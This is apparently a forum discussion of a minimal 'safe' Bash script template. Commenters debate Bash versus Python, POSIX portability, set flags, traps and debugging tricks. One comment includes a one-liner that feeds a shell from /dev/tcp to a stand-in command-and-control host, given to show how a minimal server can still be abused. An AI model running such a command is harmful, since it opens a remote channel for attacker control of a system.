Minimal safe Bash script template
betterdev.blog
betterdev.blog
> A phrase which means that no matter how many times you do something, you will have to re-learn it every single time.
Couldn't phrase it better myself. After wasting way too much time, I tend to go with Python for anything more than a couple of lines, even trivial stuff. That's, of course, unless there's a very compelling reason to use bash.
Every time a python script throws an exception at me (pretty much every time I invoke a python script for the first time), my first debugging step is to read it and attempt to rewrite it in bash.
9 times out of 10, the result is 10-100x times shorter, with zero external dependencies, and is also easier to debug.
In the other case, the python thing is some non-trivial monstrosity that should have been implemented in a compiled language with static type checking.
I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages. Further evidence can be found in Python's development of type hints.
output=$(dmesg | grep hda)
becomes p1 = Popen(["dmesg"], stdout=PIPE)
p2 = Popen(["grep", "hda"], stdin=p1.stdout, stdout=PIPE)
p1.stdout.close() # Allow p1 to receive a SIGPIPE if p2 exits.
output = p2.communicate()[0]
This isn't a contrived example. One reason I like using macros in Python is because it simplifies exactly this boilerplate.You can write a simplifying function, but programs rarely do.
This is why I use the shell overall, but when I need to process something that's better expressed in python, I use pypyp.
output = check_output(“dmesg | grep hda”, shell=True)
Or regular Python string methods could be used instead of piping to grep.> I think the popularity of Python for scripting is pretty good evidence that PG was dead wrong on the importance of brevity in programming languages.
IMO Python has a fair number of brevity constructs, which was it's one of the selling points, besides keeping other things readable. If you look at the published code from the research community, many of it resembles Matlab or Mathematica's style.
I actually find awk very readable. It's a far simpler language than Python really.
The exception is perhaps if you need to do something complex, like parse a csv.
It's like all of the bash scripts that we see that don't handle failures and traps or print a usage block.
awk -F : '/\/home/ { print $1":"$3":"$4":"$6 } 'This is true, but if you already know Python, then "awk + Python" has greater total complexity than "just Python". So the question is does awk add enough value to be worth the incremental cost of learning it in addition to Python? I think for many, the answer is "no".
I'll add good old Make to the list. It boggles the mind how some people prefer to reinvent the wheel instead of pulling a standard tool from a standard tool belt.
You can't just assume that it's okay to have your preferred scripting language everywhere.
Personally I don't use Python much for these use cases. For anything beyond trivial scripts I write Go programs, compiled into statically-linked executables that I can scp onto a host and run, the only dependency required at that point being libc. Or ideally the remote host is running inside a container, which would allow me to reproduce the dependencies locally (but also has a bunch of other complexity).
But saying "just use Bash" and then patting ourselves on the back is not really solving the problem, it's just kicking the can down the road, possibly not even very far.
Python and other powerful scripting languages can.
Having production servers that don't have Python/Ruby/Perl/etc unless they absolutely must is decades-old advice at this point.
The smart ones take that one step further: no production server should have any binaries that aren't absolutely necessary. This is why we use containers.
Not listen, but it can certainly connect out and ask for instructions...
bash -c 'bash < /dev/tcp/myevilcncserver.com/1234'You're mentioning exception errors as if having an explicit error message on failure is a problem, not a plus.
What happens when a bash script fails? Or worse, silently fails and leave you with a half-working setup at best and a seriously broken one due to some intermediary step failure being ignored?
If you happen to notice the error that is... like the OP pointed out, almost all bash shell script ignore silently errors and figuring which of the hundred of lines fails on your particular setup is a fun exercise.
And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.
> And then... which bash debugger to you use to fix problem in bash shell script you been handed? Ah no, it's long reading and echo and trial and errors.
Or you could just add "-x" to the infamous "set -Eeuo pipefail" at the top of the script before running it, in which case it'll let you know exactly which of the hundreds of lines failed.
Alternatively, if you're using the "script template" in the submission, you can just pass in the "-v" option when you run the script and it'll take care of setting it for you.
"Debian Almquist shell. A small POSIX-compliant shell that is faster than bash."
I am very skeptical of this claim...in practice I've found it to rarely be the case. Usually shell scripts have more dependencies, and even worse, they are implicit since Bash provides no mechanism for managing dependencies. Programs like sed, awk, grep, cut, paste, curl, jq, gzip, tar, etc. These are all separate dependencies, usually in separate packages (some are grouped together into coreutils), supporting different feature sets between distributions and OSes. All of those can be replaced with the Python standard library.
Bash itself is pretty anemic and isn't very useful without gluing together external programs, which is its raison d'etre after all.
A shell script is literally intended to "glue together" external programs, including all of CoreUtils. If you are doing more than just "gluing together" other programs, then you are programming, not scripting, and you'd be far better off reaching for an actual programming language instead of a shell script of any kind.
Python has plenty of warts too. You can't depend on it being installed on any given system, can't depend on the version even (Python 2.x or 3.x?), which libraries are installed, environment, venv support, etc.
I'm not saying Python isn't without its problems too. I don't even like using Python that much for scripting. But we should be clear about what tradeoffs we're making when we write Bash scripts, and not pretending like we have "zero dependencies".
Not many people are running macOS servers... and servers tend to be where most shell scripts are being used.
macOS has notoriously out of date versions of all system programs, CoreUtils and Bash among them, due to licensing issues with Apple's closed-source proprietary OS. BSD and Linux based systems, generally don't have this issue.
That being said, a regular Shell Script (not a Bash Script) will run unmodified on macOS. When people say "shell script", they usually mean an actual `sh` script instead of a Bash script.
Thinking of macOS as "just another *NIX" really doesn't fly these days. Crazily outdated standard systems utilities is just the tip of the ice berg, really.
Your team could then freely use whatever computer/OS they wanted, but also keep everyone's development systems consistent with each other, as well as avoid any strange Apple-induced issues that come with running Apple hardware as a developer in 2020.
You're really fighting an uphill battle with macOS these days... as sad as that might be for some.
You've spelled it out in a few different posts - macOS breaks everything for your team. So why fight it? Get a different OS to develop in... or dumb down everything because macOS uses crusty, old utilities.
How is that not what we're already doing? Minikube runs in a VM. But we have to set it up somehow. Running a minikube VM inside a maually configured linux VM makes no sense - if we did that, now we'd need a scipt to boottrap the linux VM.
> You're really fighting an uphill battle with macOS these days... as sad as that might be for some.
I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.
I was implying a development environment inside a VM, not just a VM for testing.
You posted several times about how macOS isn't compatible with your production environments scripts and what-not. The solution is to either not use macOS, or use a standardized VM every developer on the team uses to develop inside of, so that your scripts work "out of the box".
> I can definitely see this becoming more and more true in many fields, but this hans't been an issue for us.
Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.
Another solution would be to write those scripts against a language and standard library that doesn't have wildly varying behaviour between its underlying platforms. One of my side projects has a bunch of supporting scripts in Python doing similar things and they run exactly the same on Linux and macOS. They even run fine on Windows with only minimal modifications.
> Your posts seem to contradict this. Perhaps you were exaggerating the pain it causes the team when production scripts don't work on developer systems. Either way - it seems the writing is already on the wall. Apple isn't going to make it easier any time soon - so ditch the mac's.
With this statement I was referencing specifically the complaints that have surfaced in the past few years about new OS changes and security features breaking tooling. I don't count our infra team using new bash features in this because the issue with outdated bash/unix tooling is a long-standing one.
I can't speak for others, but for me personally, the usability of macOS for almost all of the things I do on a day-to-day basis is just day-and-night better than anything else, even if I have to hack up a bash script to work correctly from time to time. I will say the difference is less than it used to be - I use it occasionally and Linux has come a long way in the past 10 years.
(I know what you mean by VM, but I don't think the distinction is very important here, you get the same benefits either way, and using Python is arguably a lot simpler than using a full VM.)
(Though I use those as daily-driver packages on Macs and have actually never had something break? GNU tools tend to support BSD options.)
I actually hadn't thought to try this approach, though. The next time this happens I will definitely give it a shot.
[0] https://unix.stackexchange.com/a/24808/317276 #!/usr/bin/env bash
set -eEu -o pipefail
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
reference all relative things with dir first: "$DIR/relativestuff.sh" #!/usr/bin/env zsh
setopt err_exit no_unset
DIR=${0:h}[1] https://weblogs.asp.net/soever/returning-an-exit-code-from-a...
[2] https://octopus.com/blog/powershell-exit-codes
[3] https://community.idera.com/database-tools/powershell/powert...
Catalina shipped with zsh 5.7 whereas 5.8 is now the latest.
Homebrew works around that, but their refusal over GPL taint for having the binary present still doesn't seem right.
I also tack on [ "${DEBUG:-0}" = "1" ] && set -x
Eh? This breaks all relative path arguments:
/path/to/foo.sh bar.txt
If you need to reference relative path data internally then that should be hidden from the caller by that same logic, but used only internally.I do something similar with scripts that are within projects. There are scripts named the same but vary due to each project being different so I can't use $PATH (unless I export it every single time I change projects and open a terminal for it)
Commands are relative and sometimes these can be executed by other things. Other scripts, cron, etc. depending on the environment and the use. So, first step, cd into the correct directory and then run everything relative to it.
I would generally say that state belongs in environment variables (and arguments) - and/or files/input streams. Not partially hard-coded in partial scripts.
I suppose I could see a "framework" like:
./projX/setup
./projX/job1
./projX/job2
./projX/cleanup
But I'd still prefer setup and friends to accept a path (not PATH) as first argument or whatever. Rather than assuming a relative path.Maybe even factor most of this into something that could live under /opt/bin or whatever.
Especially for cron I'd rather see:
/opt/projX/scripts/mangle /opt/projX
Rather than just the first part with an implicit argument of "parent of containing folder".
It doesn’t make sense for generalized scripts that automate routine tasks. But for some maintenance, build, test, or deploy scripts that only ever perform a specialized job from a single location, it could be handy. I appreciate that Maciej provided it. Always easier to remove it than have to go find it yourself in the odd script you might need it.
Apparently this is for some category of utility that is a "bash script", not "a unix style command implemented in bash".
Make small utilities, call them for each other, or chain them with pipes. 99% of the time that will make more sense.
while(<>){
chomp;
<insert your -E code here>
}That's a weird claim. Could it be that you have never really learned shell programming or read the man pages? Or can you give an example? We have lot of production code with many test statements and I don't remember when we were bitten last time by some "surprising feature" of test.
I agree that test works differently than comparisions in many programming languages. So you need to understand how it is different. And you need to be disciplined about quoting, otherwise surprises will happen when you have user-controlled input and the shell starts to do word-splitting. But if you use shellcheck you will be reminded of quoting everywhere. It's not a problem specific to test anyway.
Or I can use a sane language that let's me get my stuff done faster and with less opportunities to shoot myself in the foot.
But the tweet quoted in the article rings very true to me:
>The opposite of "it's like riding a bike" is "it's like programming in bash".
>A phrase which means that no matter how many times you do something, you will have to re-learn it every single time.
I and probably a lot of programmers write bash scripts just enough to remember the vague shape of what we want to do, yet still infrequently enough to require looking up the exact characters every single time (-z? ! -z? one bracket? two brackets? quotes? no quotes? something about a semicolon and "then", right? where can you add newlines, again? oh yeah, it's not "end" like Ruby/Lua but "fi" right? what's "else if", again?).
I'm sure if we were working with bash scripts daily, we'd memorize it, but it's just rare and just different enough that it's basically day 1 all over again every time. Shellcheck helps as a safety net, but it doesn't necessarily save me a lot of time and cognitive load.
If I'm writing a new script from scratch and I realize there's going to be some branching or prompts or complex argument handling, I just write it in Python. It saves time and effort, it lets other people on my team more quickly modify and debug it, and it's more predictably portable ("oops, only sh, no bash"). And if it ever needs to do something more advanced in the future, it's way easier to extend.
Or put much more succinctly, by 'kristaps in another comment:
>Or I can use a sane language that let's me get my stuff done faster and with less opportunities to shoot myself in the foot.
It's nice for quickly writing something that's just wrapping multiple commands, though.
Once you get used to using shellcheck all the time your code style starts to match what it requires. You start thinking about quoting and other intricacies, and coding much more defensively.
This happens with other checkers as well - >90%+ of the time the python I write passes pep8 and black cleanly after having used those tools for a year or two.
The issue is the frequency. Due to not coding in it often, you don't retain it.
Probably around once a week.
A linter should make you a better coder, whether or not you code frequently, and also serves as a secondary "belt and suspender" check for code sanity and ease of future reading/refactoring.
really, most of these questions have only one correct answer. [ ! is never correct, neither is ! [ -z or ! [ -n. one bracket in /bin/sh, two in bash. quote every variable expansion unless you have a very good reason not to. add new lines in sensible places. nobody (sensible) complains that you can't write
for
num
in
mylist
:
in Python, so don't write it in shell either.the problem is there is so much cargo culting garbage. the same problem exists in "C/C++", where people write "int* buf = (int* )malloc(num*sizeof(int))" to be "compatible", or do gratuitous pointer aliasing with undefined behavior, despite the fact that any modern C implementation with any optimizations at all will inline small fixed-size memcpy.
I'm thus willing to take the time-hit on rewriting in Python, because I'm betting that resulting code will be easier to adapt and easier to troubleshoot as this extra complexity gradually comes into view.
But my scripts are also either for personal use, or for internal use (5 person team) at work, so I know who will be running the scripts, why, and where (which OS/versions). Suppose it's a bit like developing for Apple where you can remain aware of the use (and edge) cases.
If you expect that someone else can read and maintain your code with minimal learning I don't think it's the tool of choice.
(Fun-for-mostly-me fact, my very first programming job ever was writing awk. It was a while ago. I certainly don't remember any awk now).
This previous comment of mine goes into a bit more detail: https://news.ycombinator.com/item?id=23242753
The first models came even with 4 KB RAM / 3 KB usable. Have never seen one of those, though.
I was talking about embedded Linux here, so 512 MB RAM is not really uncommon, many systems have even more. No problem to run even bash. dash is sometimes preferred for license reasons, busybox ash is smaller, but then programming can probably get more annoying already, because useful features are probably missing. I use dash regularly for scripting (interactive use is a pain), haven't had to use ash for a while.
Of course there are much smaller embedded systems. But I don't think they would run Linux.
[1] https://github.com/landley/toybox/blob/master/toys/pending/s...
Also pipe/subprocess heavy scripts often become sad complex monstrosities in non-shell languages.
However, in cases where portability is important, bash is would be my choice. If I can pass someone a bash script and not ask them to also install Python and whatever libs I used, it makes my life so much easier.
usage=$'
[-1][+NAME?script - Script synopsis here]
[f:flag?Some flag description]
[p:param?Some param description]:[string?description]
'
while getopts "$usage" opt
do
typeset opt_${opt}=${OPTARG:-1}
doneOr we are both the same kind of horrifying :D
set -Eeuo pipefail
But I do know this one, which appears to be missing one: set -o pipefail -o errexit -o nounset
So, one step up: Use long options and long names. Make it readable, and not just writable.You probably haven't used it much if you haven't been using `trap`
trap EXIT
With set -eu
errors in subshells should lead to an exit anyway, so my exit handler is called. Or am I missing some case?So I'm sticking with just set -eu and trap EXIT...
> E If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment. The ERR trap is normally not inherited in such cases.
set -eu is at least 30 years old. Not sure whether it makes sense to rewrite established code.
Usually I have to look up what the long options are, since I've generally only memorized the short ones, but it helps immensely with readability, particularly for someone who hasn't memorized the short ones, who can now just semantically understand the options.
Why? Because shell scripting is often used in DevOps, and containers very often do not come with Bash, but with (busybox) ash or dash instead.
Say you are going FROM nginx to FROM nginx:alpine (to get that smaller image size), woha! your bash script is not working anymore.
If adhering to POSIX it should run the same in bash, ash and dash.
Bash is kind of a moving target in it self, since it comes with many new features.
You have to be aware of which version you are targeting. For instance when using arrays, associative arrays, there is a diff between version 3 and 4.
Version 5 is even more competent and it's easy start digging to deep into the cookie jar and getting your hand stuck in there :)
Not so. Shellcheck will tell you about syntactically invalid bashisms, but will not warn you about the zillions of things that are under or unspecified in posix. Pertinent minimal example:
$ echo $'#!/bin/sh\ntrap "echo exiting" EXIT\nsleep 1h' > exit.sh
$ shellcheck --shell sh exit.sh && echo "ALL GOOD!"
$ /bin/dash exit.sh
^C
$ /usr/bin/zsh exit.sh
^C
$ /bin/bash exit.sh
^Cexiting
Good luck finding a person who can use trap in a way that actually works as intended across different posix conform shells without consulting stack overflow first.Comes with a lot trial and error.
The above will work as (tested in ash/dash/bash):
#!/usr/bin/env sh
trap "echo exiting" INT
sleep 1h
But to your point, yes, how to actually know that without doing trial n' error & stackoverflow.Thanks for the `sleep 1h`, didn't know that you could do hour as unit :)
(edited: turned out INT is enough to trap)
Sometimes of course, you just want to run something on SIGINT and not on normal exit, SIGHUP or whatever. But maybe the main use case for trap is implementing try/finally logic and you really want it to fire whenever the shell exits, not matter how (to clean up resources like temporary files). Bash's `trap EXIT` mostly does what you want ("run this when the shell exits"), but writing something that behaves this way across shells (and doesn't fire multiple times etc). is amazingly painful.
trap EXIT, does work for me in ash/dash/bash, though, when just letting the code flow exit with and without errors.
Not sure your use case, but I can for sure concur that traps are very painful to get right, especially when getting into child/grandchild processes land, taking terminal session, etc in regard.
So for example set -u for the longest time used to trigger on defined but empty arrays (which is hardly an obscure edge case), but what workarounds are possible differs quite a bit between versions:
https://gist.github.com/dimo414/2fb052d230654cc0c25e9e41a965...
I was listening to the Command Line Heroes podcast the other day, about Bash. First version was stored on tape. So it has some legacy, hehe. Already then the requirement was to be backwards compatible with sh, so yeah, corner cases are around for sure.
If writing bash I do aim at version 3, because as you say they got that on MacAttack.
https://stackoverflow.com/questions/11376975/is-there-a-mini...
In my experience, having portability of the script is quite nice when not necessarily controlling the environment it is going to run in, and aiming for ash/dash/bash does take it a long way.
I wish that were true. But posix shell lacks two fairly vital features: sane trap and process redirection. In an ideal world the posix comittee would just fix that, but I won't hold my breath.
I totally agree Bash has some powerful features, some I go out of my way to reimplement in sh (as for example string operations [0]). But not all can ofc be replicated then bash it is.
Maybe then: sh->bash->python/perl
[0] https://gitlab.com/space-sh/string/-/blob/master/Spacefile.s...
Similarly, I remember reading about POSIX sh supporting arrays at some point in the future, but for the life of me, I can't find any evidence for this either.
[1]: https://git.savannah.gnu.org/cgit/bash.git/tree/CHANGES#n538
for f in *.txt; do
echo $f
done
Surprisingly, Bash still executes the body of the loop once, with f containing the literal string "*.txt". This behavior is controlled by the "nullglob" option, which hardly anyone ever sets.But yes, for scripts you are better served by nullglob.
(Recently discussed on HN: https://news.ycombinator.com/item?id=24401085)
# Enable verbose logging of the bash script
PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}: '
set -x
This improves the tracing function greatly (at the cost of much higher verbosity) in that you get the filename, function, and line number in the output.Also, 100 lines of UX-related bloat hardly classifies as "minimal".
Your argument is invalid. Even if the script isn't posix compliant you are comparingb portability with regards to the availability of bash vs python binaries on your target machine. Do you have data to support python is more likely to exist in linux machines than bash?
That's not what I'm saying. I never claimed Python was more widely supported that Bash, in terms of this argument you should use neither, that's the whole point.
What I'm saying is that it does not make sense to use Bash over e.g. Python in favor of supporting a wider range of machines while at the same time limiting support to Bash environments when you could use POSIX instead which is a subset of Bash and therefore more widely supported than Bash and Python.
Do you have data to prove that POSIX shell less likely to be supported than Bash and Python respectively? Otherwise I don't see how my argument is invalid.
Of course Bash support is larger than Python support (that's what you seem to be saying), and therefore even a Bash-specific script is more portable. What I'm suggesting is that it's contradictory to stop there when you could simply drop the bashisms and go for full POSIX compliance for even more portability.
That said, if I'm misunderstanding you, please point out how so.
The basic idea is to call this tool anytime you would be setting up a complex chain of unix pipes, and instead do the scripting in a an interactive environment that allows you to see output as you type. It's just a toy implementation right now and only supports python, but could eventually support any scripting environment (even bash).
I don't really see this as a serious tool, but it can be useful for the odd shell job. Or just for those who like immediate evaluation on every key stroke ;)
The four lines the script wastes on setup_colors() - something that has nothing to do with "safety" - could easily be used for a basic locking process.
exec >>$log_file 2>&1
if ! flock --exclusive --nonblock 1
then
log "unable to get exclusive lock, aborting"
exit 1
fi
Which redirects standard output to a log file, then tries to get an exclusive lock on it. The lock is created by the flock subprocess, but continues to exist until the script exits and closes that file descriptor.This means there can only be one process writing to a given log file at a time. For me, that is the right granularity of locking - i have several cron jobs running this script, but with different arguments, and writing to different log files.
And more generally, the arcane rules for quoting, substitutions, parameter parsing, running other processes, and how all of these interact.
Here is one example called 'date8sl.sh':
#!/bin/sh
date +%Y/%m/%d
This gives the date in a nice slash delimited form, suitable for creating date-structured directories, as in mkdir -pv $(date8sl.sh)
The longest of the useful ones is 22 lines.My tendency is to put anything more complicated in code, these days preferring sbcl lisp with :inferior-shell, :cl-readline. Also occasionally python.
I'm just uncomfortable with shell scripts long enough to benefit from this framework.
I've done this to make little bash utilities, and while it's cool when it works, it really doesn't work.
Never try to guess the script's location. You're adding very weird, broken, magical behavior with no way to test it. So keep it simple and write these scripts to expect help from the user.
If you need resources for a bash script, expect them to be in the working directory, or a standard directory, or have the user pass paths in through environment variables or other means.
Yes, it's gross and inelegant. It also won't break mysteriously.
At least a comment. If you use CI that should run shellcheck to check all scripts.
Seriously, give up on OS-specific, version-nightmare, quoting-hell, hairy-corner-behaviour shell scripts.
I used to install Cygwin and Vim on all new Windows computers. I now install Python and VSCode on all OS. My life has never been better.
One thing I find incredibly useful, which doesn’t appear in the minimal template presented here (unless I’ve missed it), is the ability to run the program in a mode where it prints out debug info like variables getting set, function names and line numbers.
I add this to the start of every bash script:
if [ -n "$DEBUG" ]; then echo "$0: Setting bash option -x for debug" PS4='+($(basename ${BASH_SOURCE}):${LINENO}): ${FUNCNAME[0]:+${FUNCNAME[0]}(): }' set -x fi
Then to run with debug info printed just set DEBUG=1
Ideally there would be a debugger where you could step through code, but this is the closest I’ve found to that.
I'm really glad we are still able to turn JavaScript off these days. I'm pretty sure in the next years more and more so-called "developers" switch to text rendering by JS, rendering more websites unusable.
This has been done for years on lots of sites.
Compared to Korn Shell or yes, Perl, it's a major step back. (I'd also say it's a lot harder to write than read, given that once you're reading a working script, you've already got most of the whitespace issues and badly formed command argument worked out).
The Unix commandline as a way to pipe together commands was a pretty great idea. But every inch you step away from that abstract ideal is just mired in a geological accumulation of oddities and bad design (Plan 9 probably being the closest ever attempt of making that work less painfully)
Except for boilerplate (e.g. set switches, documented in 'help set', but just ignore them if you're just reading) or if switches (documented in 'man test', but you really just need to memorize three or so) and a handful of commands that don't tend to be used outside of scripts -- all have a help or man page.
You could argue that DOS batch files are hard to read too.
Of course, bash's tacked on features -- regex, array/hash syntax, etc. can get a bit hairy, but it's all highly documented.
To me, bash is more the polar opposite: hard* to write, easy to read.
* not that hard
I updated the script template applying the most commonly mentioned things, like removing "cd" to the directory. See details in the article.
"Just remember that the cleanup() can be called not only at the end but as well having the script done any part of the work. "
Now that I have decent enough mastery of python to be dangerous I realize that you will get to a point where you wish you had access to all the niceties of a decent programming language.
Any shell script over 50 lines is suspect.
What decent language is it, then? Or are you implying that it doesn't exist?
Put it on GitHub and curl it from there with checksum. Cache the file somewhere and lookup cache first.
[[ -z "${NO_COLOR-}" ]] && [[ "${TERM-}" != "dumb" ]]
Is it not safe to leave off the double quotes here, because it is inside [[ ]] ? [[ -z $NO_COLOR && $TERM != dumb ]]
As another comment pointed out, they're erroring on unset values. I don't think the line noise is worth it, but it will catch spelling mistakes, I guess.I tend to write most of my scripts in PHP so I don’t have much of a leg to stand on other than that it is:
- very scriptable. - common in the environments I work in. - can easily shell out. - can be either completely loosely typed or more strongly typed as you wish. - has an extensive standard library.
https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V...
Most of your scripts are probably already 90% POSIX compatible and could bridge the gap with minor modifications.
script_dir=${0%/*}
not cd "$(dirname "${BASH_SOURCE[0]}")" >/dev/null 2>&1
with a matching popd at the end
Otherwise it can screw up parent scripts
DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" SELF=${0##*/} # aka basename
DIR=${0%/*} # aka dirnameCould somebody please educate me on why bashing it would be preferable?
Bash is a prototype to the app in Python that is a prototype to the app in Golang.
There are so many assumptions baked in to the early tools that a complete rewrite just bypasses.
$ ldd /usr/bin/grep
linux-vdso.so.1 (0x00007ffed59ab000)
libpcre.so.1 => /lib64/libpcre.so.1 (0x00007f387c8cf000)
libc.so.6 => /lib64/libc.so.6 (0x00007f387c705000)
libpthread.so.0 => /lib64/libpthread.so.0 (0x00007f387c6e3000)
/lib64/ld-linux-x86-64.so.2 (0x00007f387c9aa000)
$ du -ch /usr/bin/grep `readlink -f /lib64/libpcre.so.1` `readlink -f /lib64/libc.so.6` `readlink -f /lib64/libpthread.so.0`
168K /usr/bin/grep
484K /usr/lib64/libpcre.so.1.2.12
3.1M /usr/lib64/libc-2.31.so
312K /usr/lib64/libpthread-2.31.so
4.0M totalOverall, I don't even know what the point of this kind of questioning even is.
The regex crate has many more benchmarks: https://github.com/rust-lang/regex/blob/master/bench/log/07/... and https://github.com/rust-lang/regex/blob/master/bench/log/07/... for example.
And then there are things like this which can impact the performance of real world use cases: https://github.com/BurntSushi/ripgrep/blob/master/FAQ.md#pcr...
Please don't draw sweeping conclusions about the comparative performance of regex engines from a single benchmark.
Bash is a much better glue language than python. If all your script does is to call other programs that do all the work, it is very likely you can write it as a single line shell script. In python, you'll have to import libraries, call functions with many arguments, and whatnot.
The bash step is fast to write as it subsumes all the process calling / management.
JS (or python) is a reasonable next step, often just a tight cli wrapper around a function to be called in bash that is hard to write in bash / is from a library. I find its normally easier to pack JS dependencies for these one offs than python, but both work.
Next step is perf/testing focused. Js works as a great first step here as the Promises & event loop let you get a whole bunch of perf naturally that is a pita to arrange in python.
Now you have a program laid out and usage tested that can be re-written in something else for real or percieved benefits (go, bash, c++, rust)
* Succinctness: When you mostly glue together other programs, Bash will often be shorter than Python.
* Familiarity/Ubiquity: If you're using a Unix-like you're already using Bash (probably; or another shell that's similar) as your main "REPL to the system". When you wanna automate a thing you can start off with what you've already been doing for that task and go from there. Similar story for experimenting when writing a script, though Python also has a REPL for that.
This guy was dealt a bad hand by God.
My general issue, and it applies here too I guess, is that by the time I have 99 lines of Bash just as boilerplate,, +logic I might as well write it in Python. But if I just have to write Bash, I might use it one day.
Notably the line you highlighted I do as SCRIPT_ROOT="$(cd $(dirname "${BASH_SOURCE[0]}") && pwd)"
This preserves the cwd of the invoker (for relative files etc) wholst giving you access to your asset files etc.
No, not "just like." Whatever you think of JS the tweet above this quote doesn't apply-- I don't constantly have to look up how a function callback works, or how to do math.
To be "just like" shell scripting, you'd have to get JS devs to start regularly using `eval` in lots of unnecessary places, plus using arbitrary, inconsistent use of single-letter aliases for some of the core methods
I mean...
> set -Eeuo pipefail
Upper and lowercase! And the flag meanings aren't even explained in this article!
Edit: To be honest, this reflects my own mental model for shell commands: commandName -garblegooklegarblegookle myArg1 myArg2 etc..
$ help set
...
-e Exit immediately if a command exits with a non-zero status.
-E If set, the ERR trap is inherited by shell functions.
-u Treat unset variables as an error when substituting.
-o option-name
Set the variable corresponding to option-name:
pipefail the return value of a pipeline is the status of
the last command to exit with a non-zero status,
or zero if no command exited with a non-zero statusLink: https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_p...
About "just like JavaScript" - it was sarcasm ;-) I write in TypeScript daily and still make fun of JS. But I agree, Bash is worse!
What I would really like is if set -e would return from a function with an error (and if you wrap your entire function body in a subshell that's how it works). There are still some gotchas though: "false && true" will not cause an error exit, nor will "if someFunction; then ..." exit if someFunction encounters an error, which is a problem if you have e.g.:
someFunction() {
cd /some/path
rm -rf *
}
And expect "set -e" to prevent the remove command from running in the event of the CD failure.Most shell scripts are short enough that you will notice the missing die in something like
foo || die
bar
baz || die
And tools like shellcheck will flag dangerous commands that are missing an error check.So, given a fairly short toplevel, set -e has minimal advantages, and it can't be trusted to work inside a function. Sounds pretty questionable to me.
So that an error in the function will also cause the script to terminate.
From bash manpage: -E If set, any trap on ERR is inherited by shell functions, command substitutions, and commands executed in a subshell environment. The ERR trap is normally not inherited in such cases.
#!/bin/bash
set -euE -o pipefail
FOO=/this/does/not/exist
foo() {
cd "$FOO"
echo hello
}
if foo; then true; fiBut that might have been your point in the first place :) I wasn't aware of the change in behavior with an 'if' statement.
As a note, trap ERR had the same behavior as 'set -e' from my quick check.
This dies:
#!/bin/bash
set -euE -o pipefail
FOO=/this/does/not/exist
foo() {
cd "$FOO"
echo hello
}
foo
echo We do not reach hereCan you elaborate on this? I'm finding it difficult to think up a case where I would want a script to continue executing if a command in the middle of a pipeline failed.
foo | head -n20
foo may or may not return an error due to the pipe closing, and it's not necessarily consistent each time, particularly if the output of foo is very close to what head will consume.